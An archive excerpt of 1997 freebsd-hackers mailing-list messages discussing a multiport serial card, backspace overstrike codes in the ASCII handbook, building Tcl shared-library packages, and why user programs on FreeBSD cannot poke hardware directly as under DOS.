Smith, Software Engineer msmith@gsoft.com.au [[ > ]] Genesis Software genesis@gsoft.com.au [[ > ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ > ]] realtime instrument control. (ph) +61-8-8267-3493 [[ > ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ ------------------------------------------------- FingerPrint BA09868C 1B995204 58410FD3 A5E7B2DA http://www.geocities.com/siliconvalley/way/7747 ------------------------------------------------- From owner-freebsd-hackers Sun Jun 22 22:34:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA12996 for hackers-outgoing; Sun, 22 Jun 1997 22:34:43 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA12989 for ; Sun, 22 Jun 1997 22:34:35 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.5/8.8.5) id WAA14888; Sun, 22 Jun 1997 22:33:51 -0700 (PDT) Message-ID: <19970622223351.32316@hydrogen.nike.efn.org> Date: Sun, 22 Jun 1997 22:33:51 -0700 From: John-Mark Gurney To: "Daniel O'Callaghan" Cc: freebsd-hackers@FreeBSD.ORG, sdudley@byterunner.com Subject: Re: TC-800 hi speed 8-port serial card References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: ; from Daniel O'Callaghan on Mon, Jun 23, 1997 at 02:07:03PM +1000 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Daniel O'Callaghan scribbled this message on Jun 23: please only post to one list, I got duplicates... > I have a TC-800 8 port serial card from ByteRunner (www.byterunner.com). > It is a 16550-based card which supports shared interrupts, and has an > IRQ-status register "for UNIX compatibility and faster IRQ response". well.. every port has an irq status register... now the question is if it has something similar to the AST/4 irq status register, that reports which ports have an irq pending.. > The ByteRunner web site has a link to the serial ports section of the > FreeBSD handbook (2.1.0 version!!!) rather than explicit instructions for > installing with FreeBSD. I already have AST/4 clones running happily on > my system. I configured a kernel with COM_MULTIPORT and 8 ports tied > together as for the AST/4. I added the "verbose" bit to the flags. None > of the sio devices was recognised, and the probe failed at "test 3", > which looks like the IRQ test in sio.c. there is a bit that tells FreeBSD to ignore the results of test3... > I also tried a Bocaboard-8 kernel configuration, again to no avail. see above.. > There are two modes for the card - standard and "Unix". The Unix mode > has an 8 byte chunk of memory mapped for and "Interrupt vector", usually, > but not always, located immediately after the port 7 address. Sio(4) man hun?? how is memory mapped after io ports?? > page does not seem to handle this other than by saying "only AST/4 > control registers are handled." actually.. AST/4 irq status registers aren't even supported yet... I'm about finished with support 'em... > Has anyone managed to get one of these cards working under FreeBSD? > At A$21 per port, they would be very nice to get going. nope, but I have some 4port Computone ValuePort V4 that I'm working with... there are other problems with the COM_MULTIPORT define than just not supporting the irq register... ttyl.. -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Sun Jun 22 22:50:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA13520 for hackers-outgoing; Sun, 22 Jun 1997 22:50:06 -0700 (PDT) Received: from andrsn.stanford.edu (root@andrsn.Stanford.EDU [36.33.0.163]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA13514 for ; Sun, 22 Jun 1997 22:50:02 -0700 (PDT) Received: from localhost (andrsn@localhost.Stanford.EDU [127.0.0.1]) by andrsn.stanford.edu (8.8.5/8.6.12) with SMTP id WAA18992; Sun, 22 Jun 1997 22:50:00 -0700 (PDT) Date: Sun, 22 Jun 1997 22:49:59 -0700 (PDT) From: Annelise Anderson Reply-To: Annelise Anderson To: Joseph Stein cc: freebsd-hackers@freebsd.org Subject: Re: Handbook - ascii form?? In-Reply-To: <199706230315.UAA05119@joes.users.spiritone.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, Joseph Stein wrote: > > FFrreeeeBBSSDD HHaannddbbooookk > > which is exactly what will happen on a non-conforming printer that does > not understand how to interpret a 'DEL' character (ascii 008 or ^H) There aren't any ^H characters in the file, as far as I can tell. A hex dump shows all the duplicate letters. > > > The various suggestions to repair this text, such as piping it through > > col -b, running little sed scripts, and so forth are inappropriate from > > the point of view that this document (and the FAQ, which has the same > > problems) are supposed to be useful to people running dos/Windows as well > > as people who may not yet be familiar with various Unix utilities. > > But, have you tried those suggestions? Try outputting the file to a line > printer and see if your results are any better. I have tried these suggestions; they have no effect whatsoever. I haven't got a line printer; I have a variety of HP Laserjets. Have you tried downloading handbook.ascii and applying these suggestions? >From the web/ftp site, which is where people interested in installing FreeBSD get it? > These files ARE straight ascii text. They are designed for overstrike to > emphasize certain portions or underline them without using printer-specific > control characters. Since this doesn't work for most people, I'd rate that a design error. > Laser-jet printers (in my opinion) are notorious for not interpreting ASCII > 008 correctly. My Laserjet does a fine job of backing up and overstriking or over- printing....even from dos edit. So it would appear neither the hardware nor the software is buggy. > > But these suggestions also seem to be in error, because the down-loaded > > handbook.ascii doesn't have any ^H codes or any other codes in it; it's > > what I would call hard-coded just as it appears above. Doing > > substitutions for ^H or running it though col -b have no effect on it > > whatsoever. > > Yes, they do... Not on a copy downloaded from the web site--from the link new users are likely to follow. > > > Thus, the code that generates handbook.ascii is broken, right? > > No. The code that generates the files is one hundred percent okay. Maybe, maybe not. > It's flaky hardware (or in the case of Micro$loth, buggy software). Can't blame this one on HP and Microsoft, Joe. Annelise From owner-freebsd-hackers Sun Jun 22 22:55:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA13732 for hackers-outgoing; Sun, 22 Jun 1997 22:55:56 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA13727 for ; Sun, 22 Jun 1997 22:55:53 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.5/8.8.5) with ESMTP id WAA19192; Sun, 22 Jun 1997 22:55:37 -0700 (PDT) Message-Id: <199706230555.WAA19192@rah.star-gate.com> X-Mailer: exmh version 1.6.9 8/22/96 To: Narvi cc: hackers@FreeBSD.ORG Subject: Re: Tcl loadable packages In-reply-to: Your message of "Sun, 22 Jun 1997 21:55:17 +0300." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 22 Jun 1997 22:55:37 -0700 From: Amancio Hasty Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk ld -Dshareable -o foo.so *.o >From the ld man page: -Bshareable Instructs the linker to build a shared object from the object files rather than a normal executable image. Also you can name your loadable module anything that you want however the the program loader has to know the name of the shareable object. Also just peruse at the tcl port for further ideas and I think that it comes with a test call dltest. >From my current port project for the University's CLSU Toolkit (speech processing system): ${WISH} <<_END_ wm withdraw . pkg_mkIndex . *[info sharedlibextension] exit _END_ The above script from the makefile builds a tcl index for all the *.so files . Amancio >From The Desk Of Narvi : > > If one was to make a port of tcl loadable package, how would one > go about it? > > Well, I know I have to make a shared library. How am I to name it > - the original makefile, that does not work on FreeBSD tries to > just make a xxxx.so file. > > Where am I to install it? > > Would it be addvisable to make a short tcl script for easy loading > it? > (it would only contain something like > load /usr/local/.../xxx.so.1.0 xxxx) > > Sander > > There is no love, no good, no happiness and no future - > all these are just illusions. > From owner-freebsd-hackers Sun Jun 22 23:01:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA14036 for hackers-outgoing; Sun, 22 Jun 1997 23:01:43 -0700 (PDT) Received: from cais.cais.com (root@cais.com [199.0.216.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA14030 for ; Sun, 22 Jun 1997 23:01:40 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [205.252.122.1]) by cais.cais.com (8.8.5/) with SMTP id CAA28173; Mon, 23 Jun 1997 02:01:37 -0400 (EDT) Received: from Journey2.mat.net (journey2.mat.net [205.252.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id CAA14675; Mon, 23 Jun 1997 02:01:18 -0400 Date: Mon, 23 Jun 1997 02:01:04 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net Reply-To: Chuck Robey To: Annelise Anderson cc: Brian Somers , "Jordan K. Hubbard" , kleon@bellsouth.net, freebsd-hackers@FreeBSD.ORG Subject: Re: Handbook - ascii form?? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, Chuck Robey wrote: > On Sun, 22 Jun 1997, Annelise Anderson wrote: > > > > > > > On Sun, 22 Jun 1997, Brian Somers wrote: > > > > > Sorry - handbook.ascii is already generated. I was being > > > stupid. I can appreciate that some people have problems with > > > latin - DOS/Win stuff won't grok the ^Hs. I just didn't realize > > > that .ascii is already there - despite being in that code only > > > a few weeks ago. > > > > Well, I'll try this once more. > > > > I think what's happening is that whatever generates handbook.ascii > > is broken. It is indeed generated; it's put on the server; it gets > > downloaded, and this is the result: > > > > FFrreeeeBBSSDD HHaannddbbooookk I posted an answer to this, but I'd better fill in some more, because folks are getting confused. The sample you see above is incorrect, there's really a hidden ^H in there. If you view the file with vi, you see it, but not if you view it with 'less', because "less" knows about groff's attempts at ascii emphasis, so that man pages can look good. Here's a cut and paste from my vi screen, when I view the same line above: F^HFr^Hre^Hee^HeB^HBS^HSD^HD H^HHa^Han^Hnd^Hdb^Hb o^Hoo^Hok^Hk What you see is the letter, then the ^H key telling a printer to backspace over the character, then the same char again. ^H (as most know) is the backspace key on most (non-DEC) terminals. This is the way that boldface is faked. Underline is faked in a very similar way: _^H1_^H. _^HI_^Hn_^Ht_^Hr_^Ho_^Hd_^Hu_^Hc_^Ht_^Hi_^Ho_^Hn is from a page further in the handbook, and says: 1. Introduction with underlining. This looks good on older printers, and pagers like "less" know this also. Notice that the emphasis is of the pattern [some key][backspace key] is the same in both cases. BTW, the source of the emphasis is the groff program, which generates the ascii and postscript output. OK, there's one problem with that. I think that the ftp server is letting folks download handbook.ascii as ascii text, which is eating the backspace keys. Gotta download this as binary! Next probable misunderstanding is the sed script I mentioned. It is right, but not fully described. Here it is again: sed -e "s/.^v^H//g" < handbook.ascii.orig > handbook.ascii The "^V^H" means control-V followed by control-H. Most of you probably know that, but don't know that control-V acts like a control character prefix, so that the following control-H is not interpreted as an attempt to immediately do a backspace, but instead to embed the backspace key into the script. When you hit the control-V, only the "^" will show up, letting you know that the keyboard driver is now ready to accept one control character as raw input, not processed. Then when you hit control-H, the H shows up, so you only see "^H", not "^V^H". That's a way to get control characters into scripts. Works nicely in vi also. The period you see is a wildcarding pattern that means any single character. The "g" at the end says not to stop scanning the input line after finding the first match; instead, continue scanning each line to the end of the line, no matter how many matches are found, and work on all of them. If you want to try this in vi, go ahead, use this: :1,$s/.^V^H//g ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Sun Jun 22 23:09:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA14294 for hackers-outgoing; Sun, 22 Jun 1997 23:09:17 -0700 (PDT) Received: from andrsn.stanford.edu (root@andrsn.Stanford.EDU [36.33.0.163]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA14289 for ; Sun, 22 Jun 1997 23:09:15 -0700 (PDT) Received: from localhost (andrsn@localhost.Stanford.EDU [127.0.0.1]) by andrsn.stanford.edu (8.8.5/8.6.12) with SMTP id XAA19052; Sun, 22 Jun 1997 23:09:07 -0700 (PDT) Date: Sun, 22 Jun 1997 23:09:06 -0700 (PDT) From: Annelise Anderson To: Chuck Robey cc: Brian Somers , "Jordan K. Hubbard" , kleon@bellsouth.net, freebsd-hackers@FreeBSD.ORG Subject: Re: Handbook - ascii form?? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997, Chuck Robey wrote: > OK, there's one problem with that. I think that the ftp server is letting > folks download handbook.ascii as ascii text, which is eating the backspace > keys. Gotta download this as binary! That's right, if it's downloaded as a binary file it retains the ^H etc. formatting codes; otherwise it doesn't. Annelise From owner-freebsd-hackers Sun Jun 22 23:09:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA14334 for hackers-outgoing; Sun, 22 Jun 1997 23:09:34 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA14321 for ; Sun, 22 Jun 1997 23:09:30 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id PAA16120; Mon, 23 Jun 1997 15:38:58 +0930 (CST) From: Michael Smith Message-Id: <199706230608.PAA16120@genesis.atrad.adelaide.edu.au> Subject: Re: direct access In-Reply-To: from Steve Howe at "Jun 22, 97 09:12:17 pm" To: un_x@anchorage.net (Steve Howe) Date: Mon, 23 Jun 1997 15:38:57 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Howe stands accused of saying: > > > i wanted to port a hex/block editor from DOS. > > > This is not a very useful thing to do. There are several quite good hex > > editors already in the ports collection. I use 'beav' more often than > > hehe! it's useful to me, hehe, it's mine! and i like it! :) Well, that's as maybe. The point I'm making is that there's not a lot that makes sense to "edit" in that fashion. > > > it can read/write 1 RAM blocks > > > 2 Port Addresses > > > 3 Hard/Floppy Drives > > > 4 Files > > > A user process on any Unix system cannot easily edit 1, 2 or 3. > > that's what i'm finding out. but i want all the direct access and speed > i can get. You are still thinking like a (bad) DOS programmer. You aren't a demo coder by any chance are you? Direct access means you have to do all the work. Speed often comes from carefully layered and designed methods of access, and rarely from "raw metal" work except in the case of bogus environments. You will almost always get better performance by using the OS services provided than by trying to talk to the hardware yourself. On top of that is the issue of access control; what if you try to run two of your spiffo programs at the same time? Things are going to get very confused. > how low-level can i get? i'd like the "driver" level. > is there specific documentation (other than source) about it? So write a driver 8). There's nothing better than the source to learn how to write drivers; look for another one that's similar to what you want to do. In reality, I think you want to be one or more layers above that. > what's /dev/io all about? It's a disgusting hack to allow user-space programs access to I/O ports. Avoid it at all costs. Using user-space I/O to talk to a device that's also being talked to by the OS will usually result in a hardware lockup or crash. > i have all the libraries i need for coding, all i need is a few > simple low-level i/o routines moved to UN*X, namely > VGA-i/o, RAM-i/o, PORT-i/o, and DISK-i/o. Why? All of these are handled by the operating system, and at very different levels. Most of the time, the DOS routines you have will not be adequate for the unix environment anyway. > for example, i need char i/o to the vga screen. > i need to put a colored char on the screen at a fixed position, > and read the color and char at a position. thanks to r.nordier, > i got ncurses going, but it is too slow - i have to "refresh" > too often. i want access to the lowest level. If ncurses is "too slow", then you are not using it properly. You cannot think of a terminal as a VGA screen; what if I telnet into your system and want to run the program? There is no "VGA memory" for my telnet session, but ncurses knows that and will compensate; if your application is well-written, the fact that I am on a monochrome terminal won't affect the usability of the application either. > my code already exixt, except at the lowest level of i/o. > i have alot of hardware diagnostics i would like to > run on my freebsd boxes. Depending on the nature of your diagnostics, they are unlikely to work terribly well (or at all) at the same time that a real operating system is running. You might want to look at adding your diagnostics as components of the kernel or drivers that relate to the hardware in question however. > > > unsigned char * p = (unsigned char *)0x000b8000; > > > You cannot directly access the physical address 0x000b8000. > > is that an absolute? no peek-ing or poke-ing ... at all? How can you access an address that doesn't exist? > > What is a "device editor"? > > hehe. something that allows you to perform > visual i/o on any device in a system - ? :) How do you plan to coordinate your "visual I/O" with the "nonvisual" I/O being performed by arbitrary other system functions? > > You don't want to edit display memory; that will make the console > > driver unhappy. With the appropriate level of privilege you can use a > > binary editor on the disk devices in /dev and thus edit raw disk data. > > "editing" device ports doesn't seem to be terribly useful to me. > > as far as ram goes, i like to watch whats going on > in physical ram to learn about systems. This is an approach suitable for stupid operating systems like DOS and Windows where you don't have access to the source. If you want to learn about what's going on, attach a debugger to the kernel and look at both the source _and_ the data. > as far as drives go, file recovery - searching for deleted HD data, > which i desperatley need, Hah. 'fsdb' is your friend here. Don't expect to be able to cruise your disks looking for the magic bit to twiddle to "undlete" your files though. Aside from that, use something like beav on the disk devices, while they are unmounted. > as far as ports go, the code i'd like to port, detects and > debugs certain devices. This sounds like device-driver material. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Jun 22 23:12:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA14503 for hackers-outgoing; Sun, 22 Jun 1997 23:12:29 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA14497 for ; Sun, 22 Jun 1997 23:12:20 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.5/8.8.5) id XAA14963; Sun, 22 Jun 1997 23:12:00 -0700 (PDT) Message-ID: <19970622231159.65374@hydrogen.nike.efn.org> Date: Sun, 22 Jun 1997 23:11:59 -0700 From: John-Mark Gurney To: Steve Howe Cc: freebsd-hackers Subject: Re: direct access References: <199706230209.LAA14132@genesis.atrad.adelaide.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: ; from Steve Howe on Sun, Jun 22, 1997 at 09:12:17PM -0800 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Howe scribbled this message on Jun 22: > > > it can read/write 1 RAM blocks > > > 2 Port Addresses > > > 3 Hard/Floppy Drives > > > 4 Files > > > A user process on any Unix system cannot easily edit 1, 2 or 3. > > that's what i'm finding out. but i want all the direct access and speed > i can get. how low-level can i get? i'd like the "driver" level. > is there specific documentation (other than source) about it? > what's /dev/io all about? /dev/io controls wether you can do io read/writes on the system... you really don't want to do much low level, because FreeBSD is a multitasking os, so you never know when FreeBSD might use the device... > i have all the libraries i need for coding, all i need is a few > simple low-level i/o routines moved to UN*X, namely > VGA-i/o, RAM-i/o, PORT-i/o, and DISK-i/o. > > for example, i need char i/o to the vga screen. > i need to put a colored char on the screen at a fixed position, > and read the color and char at a position. thanks to r.nordier, > i got ncurses going, but it is too slow - i have to "refresh" > too often. i want access to the lowest level. ok.. take a look at /usr/include/machine/console.h.. you need to make sure that you tell syscons you are going to be using the console, then you can open /dev/io or KDENABIO to do direct io port writes... and you can also mmap /dev/mem to get access to the frame buffer... > my code already exixt, except at the lowest level of i/o. > i have alot of hardware diagnostics i would like to > run on my freebsd boxes. well... it depends on what it's for... I'd becareful, you don't know what FreeBSD might do next.. :) > > > unsigned char * p = (unsigned char *)0x000b8000; > > > You cannot directly access the physical address 0x000b8000. > > is that an absolute? no peek-ing or poke-ing ... at all? well.. you can if you happen to have read/write access to /dev/mem... but if you do allow it, then programs can easily crack the system, so you have to be VERY careful... > > This virtual:physical mapping provides numerous benefits - processes > > can be moved around in memory with impunity simply by changing their > > mappings and copying the physical pages. The mapping process also > > allows for virtual addresses not to be mapped to a physical address, > > and when an access occurs, the kernel catches the trap and can take > > such steps as copying the page in from disk, or performing a mapping > > as required. > > > What is a "device editor"? > > hehe. something that allows you to perform > visual i/o on any device in a system - ? :) what visual i/o? > > You don't want to edit display memory; that will make the console > > driver unhappy. With the appropriate level of privilege you can use a > > binary editor on the disk devices in /dev and thus edit raw disk data. > > "editing" device ports doesn't seem to be terribly useful to me. > > as far as ram goes, i like to watch whats going on > in physical ram to learn about systems. well.. you need to take a look at the source... it's the best place to look... > as far as drives go, file recovery - searching for deleted HD data, > which i desperatley need, well.. take a look at fsdb for more info... > as far as ports go, the code i'd like to port, detects and > debugs certain devices. good luck... -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Sun Jun 22 23:45:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA16516 for hackers-outgoing; Sun, 22 Jun 1997 23:45:51 -0700 (PDT) Received: from ucsee.EECS.Berkeley.EDU (benco@ucsee.EECS.Berkeley.EDU [128.32.156.173]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA16511 for ; Sun, 22 Jun 1997 23:45:48 -0700 (PDT) Received: (from benco@localhost) by ucsee.EECS.Berkeley.EDU (8.8.4/8.8.4) id XAA04970; Sun, 22 Jun 1997 23:45:46 -0700 Date: Sun, 22 Jun 1997 23:45:46 -0700 From: Ben Cottrell Message-Id: <199706230645.XAA04970@ucsee.EECS.Berkeley.EDU> To: hackers@FreeBSD.ORG, un_x@anchorage.net Subject: Re: direct access Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve, Not to say what you want isn't possible. It is--there are many different options available to you. Hack the kernel, write an LKM, run the system in insecure mode and scribble all over /dev/mem and /dev/kmem, whatever. But it's not possible (as several others have mentioned) in the same way as it is in DOS. UNIX is a different mindset--you gotta be prepared to make some paradigm shifts here :-) One of those paradigm shifts is: You are not in control. Only the kernel is--the kernel is the big brother that makes sure all the little kiddie processes play nice with each other and with the system. This means that the answer to this: > is that an absolute? no peek-ing or poke-ing ... at all? is a firm YES. You are allowed to go everywhere within your own address space, but that's a barrier that you can't just flip a switch and have disappear. I don't know how much you know about the address translation hardware, but as long as the CPU is executing your code (no matter if you're root or not), the page table is set up so that the *only* memory your process can see is that which it owns. Everything else is done by a small and well-defined set of system calls. I agree with one of the other posters to this thread that you might get a kick out of a good UNIX book--but I'd also like to put in a plug for "The Design And Implementation of the 4.4BSD Operating System, by McKusick, Bostic, Karels, and Quarterman. I recommend it because the code and data structures it talks about are (for the most part) the exact same ones as you'll find in FreeBSD, thus teaching you a lot about *what you need to know* to really get work done on the kernel, if you want to do that. If you don't, well, it's got a lot of low-down details on how everything is put together. Peace, love, and vm_map_entries, ~Ben From owner-freebsd-hackers Sun Jun 22 23:50:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA16833 for hackers-outgoing; Sun, 22 Jun 1997 23:50:06 -0700 (PDT) Received: from ridge.spiritone.com (ridge.spiritone.com [205.139.108.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA16827 for ; Sun, 22 Jun 1997 23:50:04 -0700 (PDT) Received: from joes.users.spiritone.com (joes.users.spiritone.com [205.139.111.224]) by ridge.spiritone.com (8.8.5/8.8.5) with ESMTP id XAA19277; Sun, 22 Jun 1997 23:49:31 -0700 (PDT) Received: (from joes@localhost) by joes.users.spiritone.com (8.8.5/8.8.5) id XAA01232; Sun, 22 Jun 1997 23:49:23 -0700 (PDT) From: Joseph Stein Message-Id: <199706230649.XAA01232@joes.users.spiritone.com> Subject: Re: Handbook - ascii form?? In-Reply-To: from Annelise Anderson at "Jun 22, 97 10:49:59 pm" To: andrsn@andrsn.stanford.edu Date: Sun, 22 Jun 1997 23:49:23 -0700 (PDT) Cc: chuckr@glue.umd.edu, freebsd-hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > There aren't any ^H characters in the file, as far as I can tell. > A hex dump shows all the duplicate letters. > > Have you tried downloading handbook.ascii and applying these suggestions? > >From the web/ftp site, which is where people interested in installing > FreeBSD get it? Yes, I've tried. And it works: Here is the output of 'hd' (HexDump) on the first fifty lines of handbook.ascii that is linked to from http://www.freebsd.org/doc/handbook by way of ftp://ftp.freebsd.org/FreeBSD/docs/handbook/handbook.ascii: 00000000 0a 0a 0a 0a 0a 0a 0a 0a 0a 09 09 09 20 20 20 20 |............ | 00000010 20 20 20 46 08 46 72 08 72 65 08 65 65 08 65 42 | F.Fr.re.ee.eB| ^^ ^^ ^^ ^H ^H ^H 00000020 08 42 53 08 53 44 08 44 20 48 08 48 61 08 61 6e |.BS.SD.D H.Ha.an| 00000030 08 6e 64 08 64 62 08 62 6f 08 6f 6f 08 6f 6b 08 |.nd.db.bo.oo.ok.| 00000040 6b 0a 0a 09 09 20 20 20 20 20 20 20 54 68 65 20 |k.... The | 00000050 46 72 65 65 42 53 44 20 44 6f 63 75 6d 65 6e 74 |FreeBSD Document| 00000060 61 74 69 6f 6e 20 50 72 6f 6a 65 63 74 0a 0a 09 |ation Project...| 00000070 09 09 09 20 20 20 4d 61 79 20 31 39 39 37 0a 0a |... May 1997..| 00000080 0a 0a 09 09 09 09 20 20 20 41 08 41 62 08 62 73 |...... A.Ab.bs| 00000090 08 73 74 08 74 72 08 72 61 08 61 63 08 63 74 08 |.st.tr.ra.ac.ct.| 000000a0 74 0a 0a 20 20 20 20 20 57 65 6c 63 6f 6d 65 20 |t.. Welcome | 000000b0 74 6f 20 46 72 65 65 42 53 44 21 20 20 54 68 69 |to FreeBSD! Thi| 000000c0 73 20 68 61 6e 64 62 6f 6f 6b 20 63 6f 76 65 72 |s handbook cover| 000000d0 73 20 74 68 65 20 69 6e 73 74 61 6c 6c 61 74 69 |s the installati| 000000e0 6f 6e 20 61 6e 64 20 64 61 79 20 74 6f 0a 20 20 |on and day to. | 000000f0 20 20 20 64 61 79 20 75 73 65 20 6f 66 20 46 08 | day use of F.| 00000100 46 72 08 72 65 08 65 65 08 65 42 08 42 53 08 53 |Fr.re.ee.eB.BS.S| 00000110 44 08 44 20 52 08 52 65 08 65 6c 08 6c 65 08 65 |D.D R.Re.el.le.e| 00000120 61 08 61 73 08 73 65 08 65 20 32 08 32 2e 08 2e |a.as.se.e 2.2...| 00000130 32 08 32 2e 08 2e 32 08 32 2e 20 54 68 69 73 20 |2.2...2.2. This | 00000140 6d 61 6e 75 61 6c 20 69 73 20 61 20 77 08 77 6f |manual is a w.wo| 00000150 08 6f 72 08 72 6b 08 6b 20 69 08 69 6e 08 6e 20 |.or.rk.k i.in.n | 00000160 70 08 70 72 08 72 6f 08 6f 67 08 67 72 08 72 65 |p.pr.ro.og.gr.re| 00000170 08 65 73 08 73 73 08 73 0a 20 20 20 20 20 61 6e |.es.ss.s. an| 00000180 64 20 69 73 20 74 68 65 20 77 6f 72 6b 20 6f 66 |d is the work of| 00000190 20 6d 61 6e 79 20 69 6e 64 69 76 69 64 75 61 6c | many individual| 000001a0 73 2e 20 20 4d 61 6e 79 20 73 65 63 74 69 6f 6e |s. Many section| 000001b0 73 20 64 6f 20 6e 6f 74 20 79 65 74 20 65 78 69 |s do not yet exi| 000001c0 73 74 0a 20 20 20 20 20 61 6e 64 20 73 6f 6d 65 |st. and some| 000001d0 20 6f 66 20 74 68 6f 73 65 20 74 68 61 74 20 64 | of those that d| 000001e0 6f 20 65 78 69 73 74 20 6e 65 65 64 20 74 6f 20 |o exist need to | 000001f0 62 65 20 75 70 64 61 74 65 64 2e 20 20 49 66 20 |be updated. If | 00000200 79 6f 75 20 61 72 65 0a 20 20 20 20 20 69 6e 74 |you are. int| 00000210 65 72 65 73 74 65 64 20 69 6e 20 68 65 6c 70 69 |erested in helpi| 00000220 6e 67 20 77 69 74 68 20 74 68 69 73 20 70 72 6f |ng with this pro| 00000230 6a 65 63 74 2c 20 73 65 6e 64 20 65 6d 61 69 6c |ject, send email| 00000240 20 74 6f 20 74 68 65 20 46 72 65 65 42 53 44 0a | to the FreeBSD.| 00000250 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 61 74 69 | documentati| 00000260 6f 6e 20 70 72 6f 6a 65 63 74 20 6d 61 69 6c 69 |on project maili| 00000270 6e 67 20 6c 69 73 74 0a 20 20 20 20 20 20 20 3c |ng list. <| 00000280 66 72 65 65 62 73 64 2d 64 6f 63 40 46 72 65 65 |freebsd-doc@Free| 00000290 42 53 44 2e 4f 52 47 3e 20 54 68 65 20 6c 61 74 |BSD.ORG> The lat| 000002a0 65 73 74 20 76 65 72 73 69 6f 6e 20 6f 66 20 74 |est version of t| 